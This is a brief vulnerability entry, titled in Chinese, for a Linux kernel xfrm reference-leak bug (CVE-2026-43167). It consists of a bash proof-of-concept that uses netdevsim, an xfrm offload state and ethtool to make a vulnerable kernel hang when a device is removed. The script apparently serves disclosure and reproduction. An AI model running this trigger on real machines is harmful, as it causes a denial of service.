Linux Kernel xfrm组件引用泄露漏洞 (CVE-2026-43167)

#!/bin/bash # PoC for CVE-2026-43167: Linux Kernel xfrm reference leak # This script demonstrates the steps to trigger the refcount leak. # 1. Create a netdevsim device echo 0 > /sys/bus/netdevsim/new_device # 2. Get the interface name dev=$(ls -1 /sys/bus/netdevsim/devices/netdevsim0/net/) echo "Target device: $dev" # 3. Generate a dummy key for the xfrm state key=0x$(echo -n "testkey12345678" | xxd -p -c 32) # 4. Add xfrm state with hardware offload enabled # This calls xfrm_dev_state_add() which increments the netdev refcount ip xfrm state add src 192.168.13.1 dst 192.168.13.2 proto esp \ spi 0x1000 mode tunnel aead 'rfc4106(gcm(aes))' $key 128 \ offload crypto dev $dev dir out # 5. Disable the esp-hw-offload feature on the device # This changes the device state but does not release the refcount acquired in step 4 ethtool -K $dev esp-hw-offload off # 6. Attempt to delete the device # This triggers NETDEV_UNREGISTER. If vulnerable, the system will hang # waiting for the refcount to drop to 0. echo 0 > /sys/bus/netdevsim/del_device